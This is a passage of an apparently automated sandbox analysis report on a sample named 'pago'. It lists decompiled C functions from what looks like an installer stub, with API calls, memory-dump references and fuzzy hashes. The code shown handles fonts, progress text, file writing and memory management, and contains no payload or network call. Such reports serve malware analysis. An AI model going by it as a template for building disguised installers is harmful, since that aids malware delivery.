                                                                  • SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404EC9
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: Message$Send$ClientScreen
                                                                  • String ID: f
                                                                  • API String ID: 41195575-1993550816
                                                                  • Opcode ID: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
                                                                  • Instruction ID: 177f1d0b32132a6560496663958852c5fe6f1b23f9da62007dee57caca3d7f28
                                                                  • Opcode Fuzzy Hash: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
                                                                  • Instruction Fuzzy Hash: 34014C71900219BADB00DBA4DD85BFFBBB8AB54711F10012BBA50B61C0D7B49A058BA5
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 73%
                                                                  			E00401E4E(intOrPtr __edx) {
                                                                  				void* __edi;
                                                                  				int _t9;
                                                                  				signed char _t15;
                                                                  				struct HFONT__* _t18;
                                                                  				intOrPtr _t30;
                                                                  				void* _t31;
                                                                  				struct HDC__* _t33;
                                                                  				void* _t35;
                                                                  
                                                                  				_t30 = __edx;
                                                                  				_t33 = GetDC( *(_t35 - 8));
                                                                  				_t9 = E00402D84(2);
                                                                  				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
                                                                  				0x40cdf0->lfHeight =  ~(MulDiv(_t9, GetDeviceCaps(_t33, 0x5a), 0x48));
                                                                  				ReleaseDC( *(_t35 - 8), _t33);
                                                                  				 *0x40ce00 = E00402D84(3);
                                                                  				_t15 =  *((intOrPtr*)(_t35 - 0x20));
                                                                  				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
                                                                  				 *0x40ce07 = 1;
                                                                  				 *0x40ce04 = _t15 & 0x00000001;
                                                                  				 *0x40ce05 = _t15 & 0x00000002;
                                                                  				 *0x40ce06 = _t15 & 0x00000004;
                                                                  				E0040657A(_t9, _t31, _t33, "Calibri New Roman",  *((intOrPtr*)(_t35 - 0x2c)));
                                                                  				_t18 = CreateFontIndirectW(0x40cdf0);
                                                                  				_push(_t18);
                                                                  				_push(_t31);
                                                                  				E00406484();
                                                                  				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t35 - 4));
                                                                  				return 0;
                                                                  			}











                                                                  0x00401e4e
                                                                  0x00401e59
                                                                  0x00401e5b
                                                                  0x00401e68
                                                                  0x00401e7f
                                                                  0x00401e84
                                                                  0x00401e91
                                                                  0x00401e96
                                                                  0x00401e9a
                                                                  0x00401ea5
                                                                  0x00401eac
                                                                  0x00401ebe
                                                                  0x00401ec4
                                                                  0x00401ec9
                                                                  0x00401ed3
                                                                  0x00402638
                                                                  0x0040156d
                                                                  0x00402ba4
                                                                  0x00402c2d
                                                                  0x00402c39

                                                                  APIs
                                                                  • GetDC.USER32(?), ref: 00401E51
                                                                  • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E6B
                                                                  • MulDiv.KERNEL32(00000000,00000000), ref: 00401E73
                                                                  • ReleaseDC.USER32 ref: 00401E84
                                                                    • Part of subcall function 0040657A: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 0040671F
                                                                    • Part of subcall function 0040657A: lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll,?,004055D6,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll,00000000), ref: 00406779
                                                                  • CreateFontIndirectW.GDI32(0040CDF0), ref: 00401ED3
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: CapsCreateDeviceFontIndirectReleaselstrcatlstrlen
                                                                  • String ID: Calibri New Roman
                                                                  • API String ID: 2584051700-2685221963
                                                                  • Opcode ID: 687ed4edf854cbed3824faf0125c127d44ccdaa2da2dd8af5b0190bd77e460f4
                                                                  • Instruction ID: 78b13ae86a0973dc2b43aa2eb6c1af0beb3c1ef463c522f55250376beecb9f8a
                                                                  • Opcode Fuzzy Hash: 687ed4edf854cbed3824faf0125c127d44ccdaa2da2dd8af5b0190bd77e460f4
                                                                  • Instruction Fuzzy Hash: 7001B571904241EFEB005BB0EE49B9A3FB4BB15301F108A39F541B71D2C7B904458BED
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E732D16BD(struct HINSTANCE__* _a4, short* _a8) {
                                                                  				_Unknown_base(*)()* _t7;
                                                                  				void* _t10;
                                                                  				int _t14;
                                                                  
                                                                  				_t14 = WideCharToMultiByte(0, 0, _a8, 0xffffffff, 0, 0, 0, 0);
                                                                  				_t10 = GlobalAlloc(0x40, _t14);
                                                                  				WideCharToMultiByte(0, 0, _a8, 0xffffffff, _t10, _t14, 0, 0);
                                                                  				_t7 = GetProcAddress(_a4, _t10);
                                                                  				GlobalFree(_t10);
                                                                  				return _t7;
                                                                  			}






                                                                  0x732d16d7
                                                                  0x732d16e3
                                                                  0x732d16f0
                                                                  0x732d16f7
                                                                  0x732d1700
                                                                  0x732d170c

                                                                  APIs
                                                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,732D22D8,?,00000808), ref: 732D16D5
                                                                  • GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,732D22D8,?,00000808), ref: 732D16DC
                                                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,732D22D8,?,00000808), ref: 732D16F0
                                                                  • GetProcAddress.KERNEL32(732D22D8,00000000), ref: 732D16F7
                                                                  • GlobalFree.KERNEL32 ref: 732D1700
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.905537534.00000000732D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 732D0000, based on PE: true
                                                                  • Associated: 00000000.00000002.905524480.00000000732D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905546264.00000000732D4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905553229.00000000732D6000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_732d0000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
                                                                  • String ID: Nv@hv
                                                                  • API String ID: 1148316912-4226514844
                                                                  • Opcode ID: fe4ee7051e3578ffed058cb2cb0eb728dda0b8f91cda2be53ed91db8803a7ea4
                                                                  • Instruction ID: 549e7d9b81cbb398c300fa668a0053b1d16741fbdc769662e77c99739b5cf0d9
                                                                  • Opcode Fuzzy Hash: fe4ee7051e3578ffed058cb2cb0eb728dda0b8f91cda2be53ed91db8803a7ea4
                                                                  • Instruction Fuzzy Hash: 2CF012735161387BD62026A79C4CD9B7E9CDF8B2F6B214251F61CD119089615C11D7F1
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E00402F93(struct HWND__* _a4, intOrPtr _a8) {
                                                                  				short _v132;
                                                                  				int _t11;
                                                                  				int _t20;
                                                                  
                                                                  				if(_a8 == 0x110) {
                                                                  					SetTimer(_a4, 1, 0xfa, 0);
                                                                  					_a8 = 0x113;
                                                                  				}
                                                                  				if(_a8 == 0x113) {
                                                                  					_t20 =  *0x41ea18; // 0x40568
                                                                  					_t11 =  *0x42aa24;
                                                                  					if(_t20 >= _t11) {
                                                                  						_t20 = _t11;
                                                                  					}
                                                                  					wsprintfW( &_v132, L"verifying installer: %d%%", MulDiv(_t20, 0x64, _t11));
                                                                  					SetWindowTextW(_a4,  &_v132);
                                                                  					SetDlgItemTextW(_a4, 0x406,  &_v132);
                                                                  				}
                                                                  				return 0;
                                                                  			}






                                                                  0x00402fa3
                                                                  0x00402fb1
                                                                  0x00402fb7
                                                                  0x00402fb7
                                                                  0x00402fc5
                                                                  0x00402fc7
                                                                  0x00402fcd
                                                                  0x00402fd4
                                                                  0x00402fd6
                                                                  0x00402fd6
                                                                  0x00402fec
                                                                  0x00402ffc
                                                                  0x0040300e
                                                                  0x0040300e
                                                                  0x00403016

                                                                  APIs
                                                                  • SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FB1
                                                                  • MulDiv.KERNEL32(00040568,00000064,?), ref: 00402FDC
                                                                  • wsprintfW.USER32 ref: 00402FEC
                                                                  • SetWindowTextW.USER32(?,?), ref: 00402FFC
                                                                  • SetDlgItemTextW.USER32 ref: 0040300E
                                                                  Strings
                                                                  • verifying installer: %d%%, xrefs: 00402FE6
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: Text$ItemTimerWindowwsprintf
                                                                  • String ID: verifying installer: %d%%
                                                                  • API String ID: 1451636040-82062127
                                                                  • Opcode ID: ea3fb41b8b9d1af7e43715991a6ce4dd060937d78b5a266238e4f5c2501e20f6
                                                                  • Instruction ID: eb17ebabde20c32bd565f0ca98bf5c3c7f8a04474e671541d9d17dad0456e96b
                                                                  • Opcode Fuzzy Hash: ea3fb41b8b9d1af7e43715991a6ce4dd060937d78b5a266238e4f5c2501e20f6
                                                                  • Instruction Fuzzy Hash: 20014B7064020DABEF209F60DE4AFEA3B79FB04345F008039FA06B51D0DBB999559F69
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 75%
                                                                  			E732D2655() {
                                                                  				intOrPtr _t24;
                                                                  				void* _t26;
                                                                  				intOrPtr _t27;
                                                                  				signed int _t39;
                                                                  				void* _t40;
                                                                  				void* _t43;
                                                                  				intOrPtr _t44;
                                                                  				void* _t45;
                                                                  
                                                                  				_t40 = E732D12BB();
                                                                  				_t24 =  *((intOrPtr*)(_t45 + 0x18));
                                                                  				_t44 =  *((intOrPtr*)(_t24 + 0x1014));
                                                                  				_t43 = (_t44 + 0x81 << 5) + _t24;
                                                                  				do {
                                                                  					if( *((intOrPtr*)(_t43 - 4)) >= 0) {
                                                                  					}
                                                                  					_t39 =  *(_t43 - 8) & 0x000000ff;
                                                                  					if(_t39 <= 7) {
                                                                  						switch( *((intOrPtr*)(_t39 * 4 +  &M732D2784))) {
                                                                  							case 0:
                                                                  								 *_t40 = 0;
                                                                  								goto L17;
                                                                  							case 1:
                                                                  								__eax =  *__eax;
                                                                  								if(__ecx > __ebx) {
                                                                  									 *(__esp + 0x10) = __ecx;
                                                                  									__ecx =  *(0x732d407c + __edx * 4);
                                                                  									__edx =  *(__esp + 0x10);
                                                                  									__ecx = __ecx * __edx;
                                                                  									asm("sbb edx, edx");
                                                                  									__edx = __edx & __ecx;
                                                                  									__eax = __eax &  *(0x732d409c + __edx * 4);
                                                                  								}
                                                                  								_push(__eax);
                                                                  								goto L15;
                                                                  							case 2:
                                                                  								__eax = E732D1510(__edx,  *__eax,  *((intOrPtr*)(__eax + 4)), __edi);
                                                                  								goto L16;
                                                                  							case 3:
                                                                  								__ecx =  *0x732d506c;
                                                                  								__edx = __ecx - 1;
                                                                  								__eax = MultiByteToWideChar(__ebx, __ebx,  *__eax, __ecx, __edi, __edx);
                                                                  								__eax =  *0x732d506c;
                                                                  								 *((short*)(__edi + __eax * 2 - 2)) = __bx;
                                                                  								goto L17;
                                                                  							case 4:
                                                                  								__eax = lstrcpynW(__edi,  *__eax,  *0x732d506c);
                                                                  								goto L17;
                                                                  							case 5:
                                                                  								_push( *0x732d506c);
                                                                  								_push(__edi);
                                                                  								_push( *__eax);
                                                                  								__imp__StringFromGUID2();
                                                                  								goto L17;
                                                                  							case 6:
                                                                  								_push( *__esi);
                                                                  								L15:
                                                                  								__eax = wsprintfW(__edi, 0x732d5000);
                                                                  								L16:
                                                                  								__esp = __esp + 0xc;
                                                                  								goto L17;
                                                                  						}
                                                                  					}
                                                                  					L17:
                                                                  					_t26 =  *(_t43 + 0x14);
                                                                  					if(_t26 != 0 && ( *((intOrPtr*)( *((intOrPtr*)(_t45 + 0x18)))) != 2 ||  *((intOrPtr*)(_t43 - 4)) > 0)) {
                                                                  						GlobalFree(_t26);
                                                                  					}
                                                                  					_t27 =  *((intOrPtr*)(_t43 + 0xc));
                                                                  					if(_t27 != 0) {
                                                                  						if(_t27 != 0xffffffff) {
                                                                  							if(_t27 > 0) {
                                                                  								E732D1381(_t27 - 1, _t40);
                                                                  								goto L26;
                                                                  							}
                                                                  						} else {
                                                                  							E732D1312(_t40);
                                                                  							L26:
                                                                  						}
                                                                  					}
                                                                  					_t44 = _t44 - 1;
                                                                  					_t43 = _t43 - 0x20;
                                                                  				} while (_t44 >= 0);
                                                                  				return GlobalFree(_t40);
                                                                  			}











                                                                  0x732d265f
                                                                  0x732d2661
                                                                  0x732d2665
                                                                  0x732d2674
                                                                  0x732d2678
                                                                  0x732d267d
                                                                  0x732d267d
                                                                  0x732d2685
                                                                  0x732d268c
                                                                  0x732d2692
                                                                  0x00000000
                                                                  0x732d2699
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d26a1
                                                                  0x732d26a5
                                                                  0x732d26a8
                                                                  0x732d26ac
                                                                  0x732d26b3
                                                                  0x732d26b7
                                                                  0x732d26bd
                                                                  0x732d26bf
                                                                  0x732d26c1
                                                                  0x732d26c1
                                                                  0x732d26c8
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d26d1
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d26d8
                                                                  0x732d26de
                                                                  0x732d26e8
                                                                  0x732d26ee
                                                                  0x732d26f3
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d2714
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d26fa
                                                                  0x732d2700
                                                                  0x732d2701
                                                                  0x732d2703
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d271c
                                                                  0x732d271e
                                                                  0x732d2724
                                                                  0x732d272a
                                                                  0x732d272a
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d2692
                                                                  0x732d272d
                                                                  0x732d272d
                                                                  0x732d2732
                                                                  0x732d2743
                                                                  0x732d2743
                                                                  0x732d2749
                                                                  0x732d274e
                                                                  0x732d2753
                                                                  0x732d275f
                                                                  0x732d2764
                                                                  0x00000000
                                                                  0x732d2769
                                                                  0x732d2755
                                                                  0x732d2756
                                                                  0x732d276a
                                                                  0x732d276a
                                                                  0x732d2753
                                                                  0x732d276b
                                                                  0x732d276c
                                                                  0x732d276f
                                                                  0x732d2783

                                                                  APIs
                                                                    • Part of subcall function 732D12BB: GlobalAlloc.KERNEL32(00000040,?,732D12DB,?,732D137F,00000019,732D11CA,-000000A0), ref: 732D12C5
                                                                  • GlobalFree.KERNEL32 ref: 732D2743
                                                                  • GlobalFree.KERNEL32 ref: 732D2778
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.905537534.00000000732D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 732D0000, based on PE: true
                                                                  • Associated: 00000000.00000002.905524480.00000000732D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905546264.00000000732D4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905553229.00000000732D6000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_732d0000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: Global$Free$Alloc
                                                                  • String ID:
                                                                  • API String ID: 1780285237-0
                                                                  • Opcode ID: 448964dd1662868ec9ed14a2b87de4e8af0c924959588158d38daf0285d9a029
                                                                  • Instruction ID: ada68dd481daef3d3ba4d1849be8259cb75307ac4c52d958698e5aa718b410bb
                                                                  • Opcode Fuzzy Hash: 448964dd1662868ec9ed14a2b87de4e8af0c924959588158d38daf0285d9a029
                                                                  • Instruction Fuzzy Hash: DF313772A3431ADFE7269F61D8C8F2A77BAFF85302324816CF10583550C7756891EB51
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 86%
                                                                  			E00402950(int __ebx, void* __eflags) {
                                                                  				WCHAR* _t26;
                                                                  				void* _t29;
                                                                  				long _t37;
                                                                  				int _t49;
                                                                  				void* _t52;
                                                                  				void* _t54;
                                                                  				void* _t56;
                                                                  				void* _t59;
                                                                  				void* _t60;
                                                                  				void* _t61;
                                                                  
                                                                  				_t49 = __ebx;
                                                                  				_t52 = 0xfffffd66;
                                                                  				_t26 = E00402DA6(0xfffffff0);
                                                                  				_t55 = _t26;
                                                                  				 *(_t61 - 0x40) = _t26;
                                                                  				if(E00405E83(_t26) == 0) {
                                                                  					E00402DA6(0xffffffed);
                                                                  				}
                                                                  				E00406008(_t55);
                                                                  				_t29 = E0040602D(_t55, 0x40000000, 2);
                                                                  				 *(_t61 + 8) = _t29;
                                                                  				if(_t29 != 0xffffffff) {
                                                                  					 *(_t61 - 0x38) =  *(_t61 - 0x2c);
                                                                  					if( *(_t61 - 0x28) != _t49) {
                                                                  						_t37 =  *0x434f14;
                                                                  						 *(_t61 - 0x44) = _t37;
                                                                  						_t54 = GlobalAlloc(0x40, _t37);
                                                                  						if(_t54 != _t49) {
                                                                  							E004034E5(_t49);
                                                                  							E004034CF(_t54,  *(_t61 - 0x44));
                                                                  							_t59 = GlobalAlloc(0x40,  *(_t61 - 0x28));
                                                                  							 *(_t61 - 0x10) = _t59;
                                                                  							if(_t59 != _t49) {
                                                                  								E004032B4( *(_t61 - 0x2c), _t49, _t59,  *(_t61 - 0x28));
                                                                  								while( *_t59 != _t49) {
                                                                  									_t60 = _t59 + 8;
                                                                  									 *(_t61 - 0x3c) =  *_t59;
                                                                  									E00405FE8( *((intOrPtr*)(_t59 + 4)) + _t54, _t60,  *_t59);
                                                                  									_t59 = _t60 +  *(_t61 - 0x3c);
                                                                  								}
                                                                  								GlobalFree( *(_t61 - 0x10));
                                                                  							}
                                                                  							E004060DF( *(_t61 + 8), _t54,  *(_t61 - 0x44));
                                                                  							GlobalFree(_t54);
                                                                  							 *(_t61 - 0x38) =  *(_t61 - 0x38) | 0xffffffff;
                                                                  						}
                                                                  					}
                                                                  					_t52 = E004032B4( *(_t61 - 0x38),  *(_t61 + 8), _t49, _t49);
                                                                  					CloseHandle( *(_t61 + 8));
                                                                  				}
                                                                  				_t56 = 0xfffffff3;
                                                                  				if(_t52 < _t49) {
                                                                  					_t56 = 0xffffffef;
                                                                  					DeleteFileW( *(_t61 - 0x40));
                                                                  					 *((intOrPtr*)(_t61 - 4)) = 1;
                                                                  				}
                                                                  				_push(_t56);
                                                                  				E00401423();
                                                                  				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t61 - 4));
                                                                  				return 0;
                                                                  			}













                                                                  0x00402950
                                                                  0x00402952
                                                                  0x00402957
                                                                  0x0040295c
                                                                  0x0040295f
                                                                  0x00402969
                                                                  0x0040296d
                                                                  0x0040296d
                                                                  0x00402973
                                                                  0x00402980
                                                                  0x00402988
                                                                  0x0040298b
                                                                  0x00402997
                                                                  0x0040299a
                                                                  0x004029a0
                                                                  0x004029ae
                                                                  0x004029b3
                                                                  0x004029b7
                                                                  0x004029ba
                                                                  0x004029c3
                                                                  0x004029cf
                                                                  0x004029d3
                                                                  0x004029d6
                                                                  0x004029e0
                                                                  0x004029ff
                                                                  0x004029ec
                                                                  0x004029f4
                                                                  0x004029f7
                                                                  0x004029fc
                                                                  0x004029fc
                                                                  0x00402a06
                                                                  0x00402a06
                                                                  0x00402a13
                                                                  0x00402a19
                                                                  0x00402a1f
                                                                  0x00402a1f
                                                                  0x004029b7
                                                                  0x00402a33
                                                                  0x00402a35
                                                                  0x00402a35
                                                                  0x00402a3f
                                                                  0x00402a40
                                                                  0x00402a44
                                                                  0x00402a48
                                                                  0x00402a4e
                                                                  0x00402a4e
                                                                  0x00402a55
                                                                  0x004022f1
                                                                  0x00402c2d
                                                                  0x00402c39

                                                                  APIs
                                                                  • GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029B1
                                                                  • GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029CD
                                                                  • GlobalFree.KERNEL32 ref: 00402A06
                                                                  • GlobalFree.KERNEL32 ref: 00402A19
                                                                  • CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A35
                                                                  • DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A48
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: Global$AllocFree$CloseDeleteFileHandle
                                                                  • String ID:
                                                                  • API String ID: 2667972263-0
                                                                  • Opcode ID: 18333e3c7c5edca9258600c879c391e4e8cb8a080c4e0dd56f257e0fabcb70bb
                                                                  • Instruction ID: 8fc1a79e9ee36ebd610a2d663d7387b5f1fea8f48d7bc9e01940cd119f3fb53c
                                                                  • Opcode Fuzzy Hash: 18333e3c7c5edca9258600c879c391e4e8cb8a080c4e0dd56f257e0fabcb70bb
                                                                  • Instruction Fuzzy Hash: 5831C271D00124BBCF216FA9CE49DDEBE79AF49364F14023AF450762E0CB794C429BA8
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 97%
                                                                  			E732D1979(signed int __edx, void* __eflags, void* _a8, void* _a16) {
                                                                  				void* _v8;
                                                                  				signed int _v12;
                                                                  				signed int _v20;
                                                                  				signed int _v24;
                                                                  				char _v76;
                                                                  				void _t45;
                                                                  				signed int _t46;
                                                                  				signed int _t47;
                                                                  				signed int _t48;
                                                                  				signed int _t57;
                                                                  				signed int _t58;
                                                                  				signed int _t59;
                                                                  				signed int _t60;
                                                                  				signed int _t61;
                                                                  				void* _t67;
                                                                  				void* _t68;
                                                                  				void* _t69;
                                                                  				void* _t70;
                                                                  				void* _t71;
                                                                  				signed int _t77;
                                                                  				void* _t81;
                                                                  				signed int _t83;
                                                                  				signed int _t85;
                                                                  				signed int _t87;
                                                                  				signed int _t90;
                                                                  				void* _t101;
                                                                  
                                                                  				_t85 = __edx;
                                                                  				 *0x732d506c = _a8;
                                                                  				_t77 = 0;
                                                                  				 *0x732d5070 = _a16;
                                                                  				_v12 = 0;
                                                                  				_v8 = E732D12E3();
                                                                  				_t90 = E732D13B1(_t42);
                                                                  				_t87 = _t85;
                                                                  				_t81 = E732D12E3();
                                                                  				_a8 = _t81;
                                                                  				_t45 =  *_t81;
                                                                  				if(_t45 != 0x7e && _t45 != 0x21) {
                                                                  					_a16 = E732D12E3();
                                                                  					_t77 = E732D13B1(_t74);
                                                                  					_v12 = _t85;
                                                                  					GlobalFree(_a16);
                                                                  					_t81 = _a8;
                                                                  				}
                                                                  				_t46 =  *_t81 & 0x0000ffff;
                                                                  				_t101 = _t46 - 0x2f;
                                                                  				if(_t101 > 0) {
                                                                  					_t47 = _t46 - 0x3c;
                                                                  					__eflags = _t47;
                                                                  					if(_t47 == 0) {
                                                                  						__eflags =  *((short*)(_t81 + 2)) - 0x3c;
                                                                  						if( *((short*)(_t81 + 2)) != 0x3c) {
                                                                  							__eflags = _t87 - _v12;
                                                                  							if(__eflags > 0) {
                                                                  								L56:
                                                                  								_t48 = 0;
                                                                  								__eflags = 0;
                                                                  								L57:
                                                                  								asm("cdq");
                                                                  								L58:
                                                                  								_t90 = _t48;
                                                                  								_t87 = _t85;
                                                                  								L59:
                                                                  								E732D1510(_t85, _t90, _t87,  &_v76);
                                                                  								E732D1312( &_v76);
                                                                  								GlobalFree(_v8);
                                                                  								return GlobalFree(_a8);
                                                                  							}
                                                                  							if(__eflags < 0) {
                                                                  								L49:
                                                                  								__eflags = 0;
                                                                  								L50:
                                                                  								_t48 = 1;
                                                                  								goto L57;
                                                                  							}
                                                                  							__eflags = _t90 - _t77;
                                                                  							if(_t90 < _t77) {
                                                                  								goto L49;
                                                                  							}
                                                                  							goto L56;
                                                                  						}
                                                                  						_t85 = _t87;
                                                                  						_t48 = E732D3050(_t90, _t77, _t85);
                                                                  						goto L58;
                                                                  					}
                                                                  					_t57 = _t47 - 1;
                                                                  					__eflags = _t57;
                                                                  					if(_t57 == 0) {
                                                                  						__eflags = _t90 - _t77;
                                                                  						if(_t90 != _t77) {
                                                                  							goto L56;
                                                                  						}
                                                                  						__eflags = _t87 - _v12;
                                                                  						if(_t87 != _v12) {
